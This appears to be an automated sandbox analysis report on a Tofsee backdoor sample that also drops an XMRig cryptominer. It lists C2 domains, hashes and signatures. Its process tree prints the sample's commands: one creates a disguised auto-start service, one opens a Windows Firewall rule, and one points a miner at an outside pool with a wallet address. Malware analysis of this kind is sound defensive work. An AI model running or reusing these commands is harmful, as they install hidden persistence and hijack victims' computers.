Analysis

  • max time kernel
    186s
  • max time network
    204s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    26/11/2022, 13:22

General

  • Target
    file.exe
  • Size 147KB
  • Sample221126-ql8j8aad51
  • SHA256 969cbe894bade6e664ebc759576a44abba87e73dc093e09b7a97ec3c1099bbb3
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1212
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\avmxximo\
      2⤵
        PID:796
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\brkifovu.exe" C:\Windows\SysWOW64\avmxximo\
        2⤵
          PID:588
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create avmxximo binPath= "C:\Windows\SysWOW64\avmxximo\brkifovu.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:664
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description avmxximo "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1704
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start avmxximo
          2⤵
          • Launches sc.exe
          PID:1424
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1436
      • C:\Windows\SysWOW64\avmxximo\brkifovu.exe
        C:\Windows\SysWOW64\avmxximo\brkifovu.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1800
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1876
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1972

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            brkifovu.exe

            • Path C:\Users\Admin\AppData\Local\Temp\brkifovu.exe
            • Size 13.9MB
            • SHA256 d083693994f20fda949ddd0ad89729429a82cf6f1c8013f210ce6b74e74b6ce0
            • MD5 SHA1 SHA512 SSDEEP

            brkifovu.exe

            • Path C:\Windows\SysWOW64\avmxximo\brkifovu.exe
            • Size 13.9MB
            • SHA256 d083693994f20fda949ddd0ad89729429a82cf6f1c8013f210ce6b74e74b6ce0
            • MD5 SHA1 SHA512 SSDEEP

            memory/1212-58-0x0000000000400000-0x0000000000AD6000-memory.dmp

            memory/1212-68-0x0000000000400000-0x0000000000AD6000-memory.dmp

            memory/1212-56-0x00000000767B1000-0x00000000767B3000-memory.dmp

            memory/1212-54-0x0000000000C7B000-0x0000000000C8C000-memory.dmp

            memory/1212-65-0x0000000000220000-0x0000000000233000-memory.dmp

            memory/1212-64-0x0000000000C7B000-0x0000000000C8C000-memory.dmp

            memory/1212-55-0x0000000000220000-0x0000000000233000-memory.dmp

            memory/1212-67-0x0000000000C7B000-0x0000000000C8C000-memory.dmp

            memory/1800-76-0x00000000002CB000-0x00000000002DC000-memory.dmp

            memory/1800-79-0x0000000000400000-0x0000000000AD6000-memory.dmp

            memory/1876-73-0x00000000000C0000-0x00000000000D5000-memory.dmp

            memory/1876-71-0x00000000000C0000-0x00000000000D5000-memory.dmp

            memory/1876-80-0x00000000000C0000-0x00000000000D5000-memory.dmp

            memory/1876-82-0x0000000001930000-0x0000000001B3F000-memory.dmp

            memory/1876-85-0x00000000001C0000-0x00000000001C6000-memory.dmp

            memory/1876-88-0x00000000001D0000-0x00000000001E0000-memory.dmp

            memory/1876-91-0x00000000000C0000-0x00000000000D5000-memory.dmp

            memory/1876-92-0x0000000000320000-0x0000000000325000-memory.dmp

            memory/1876-95-0x00000000059C0000-0x0000000005DCB000-memory.dmp

            memory/1876-98-0x0000000000330000-0x0000000000337000-memory.dmp

            memory/1972-101-0x00000000001D0000-0x00000000002C1000-memory.dmp

            memory/1972-103-0x00000000001D0000-0x00000000002C1000-memory.dmp